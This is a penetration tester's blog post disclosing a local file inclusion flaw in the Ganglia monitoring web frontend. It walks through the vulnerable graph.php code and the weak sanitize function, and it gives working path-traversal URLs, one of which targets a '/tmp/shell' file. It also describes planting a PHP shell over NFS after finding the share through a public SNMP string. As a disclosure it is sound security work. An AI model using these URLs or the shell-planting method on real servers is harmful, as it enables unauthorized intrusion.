Ganglia Monitoring System LFI

Awhile back when doing a pentest I ran into an interesting web application on a server that was acting as a gateway into a juicy environment *cough*pci*cough*, the application was "Ganglia Monitoring System" http://ganglia.sourceforge.net

The scope of the test was extremely limited and it wasn't looking good....the host that was in scope had a ton of little stuff but nothing that looked like it would give me a solid foothold into the target network. After spending some time looking for obvious ways into the system I figured it would be worth looking at the Ganglia application, especially since I could find no public exploits for the app in the usual places....

First step was to build a lab up on a VM (ubuntu)

apt-get install ganglia-webfrontend

After apt was done doing its thing I went ahead and started poking around in the web front end files (/usr/share/ganglia-webfrontend). I looked to see if the application had any sort of admin functionality that I could abuse or some sort of insecure direct object reference issues. Nothing looked good. I moved on to auditing the php.

Started out with a simple grep looking for php includes that used a variable....bingo.

steponequit@steponequit-desktop:/usr/share/ganglia-webfrontend$ egrep 'include.*\$' *

class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )

class.TemplatePower.inc.php: $tpl_file = $this->tpl_include[ $regs[2] ][0];

class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];

class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )

class.TemplatePower.inc.php: $include_file = $this->tpl_include[ $regs[2] ][0];

class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];

class.TemplatePower.inc.php: $include_file = $regs[2];

class.TemplatePower.inc.php: if( !@include_once( $include_file ) )

class.TemplatePower.inc.php: $this->__errorAlert( 'TemplatePower Error: Couldn\'t include script [ '. $include_file .' ]!' );

class.TemplatePower.inc.php: $this->tpl_include["$iblockname"] = Array( $value, $type );

graph.php: include_once($graph_file);

The graph.php line jumped out at me. Looking into the file it was obvious this variable was built from user input :)

$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : NULL;

....

....

....

$graph_file = "$graphdir/$graph.php";

Taking at look at the "sanitize" function I can see this shouldn't upset any file include fun

function sanitize ( $string ) {

return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;

}

#-------------------------------------------------------------------------------

# If arg is a valid number, return it. Otherwise, return null.

function clean_number( $value )

{

return is_numeric( $value ) ? $value : null;

}

Going back to the graph.php file

$graph_file = "$graphdir/$graph.php";

if ( is_readable($graph_file) ) {

include_once($graph_file);

$graph_function = "graph_${graph}";

$graph_function($rrdtool_graph); // Pass by reference call, $rrdtool_graph modified inplace

} else {

/* Bad stuff happened. */

error_log("Tried to load graph file [$graph_file], but failed. Invalid graph, aborting.");

exit();

}

We can see here that our $graph value is inserted into the target string $graph_file with a directory on the front and a php extension on the end. The script then checks to make sure it can read the file that has been specified and finally includes it, looks good to me :).

The start of our string is defined in conf.php as "$graphdir='./graph.d'", this poses no issue as we can traverse back to the root of the file system using "../../../../../../../../". The part that does pose some annoyance is that our target file must end with ".php". So on my lab box I put a php file (phpinfo) in "/tmp" and tried including it...

http://localhost/ganglia/graph.php?g=/../../../../../../../../tmp/blah

Win. Not ideal, but it could work....

Going back to the real environment with this it was possible to leverage this seemingly limited vulnerability by putting a file (php shell) on the nfs server that was being used by the target server, this information was gathered from a seemingly low vuln - "public" snmp string. Once the file was placed on nfs it was only a matter of making the include call. All in a hard days work.

I have also briefly looked at the latest version of the Ganglia web front end code and it appears that this vuln still exists (graph.php)

$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";

...

...

...

$php_report_file = $conf['graphdir'] . "/" . $graph . ".php";

$json_report_file = $conf['graphdir'] . "/" . $graph . ".json";

if( is_file( $php_report_file ) ) {

include_once $php_report_file;

tl;dr; wrap up - "Ganglia Monitoring System" http://ganglia.sourceforge.net contains a LFI vulnerability in the "graph.php" file. Any local php files can be included by passing its location to the "g" parameter - http://example.com/ganglia/graph.php?g=../../../../../../../tmp/shell

Related posts

1. Hacking Social
2. Hacking Life
3. Hacking Gif
4. Best Hacking Books
5. Hacking Traduccion
6. Growth Hacking Sean Ellis
7. What Is Growth Hacking
8. Tutoriales Hacking
9. Escuela Travel Hacking
10. Programa De Hacking
11. Whatsapp Hacking
12. Growth Hacking Libro
13. Hacking Background
14. Programas De Hacker
15. Hacker Significado
16. Arduino Hacking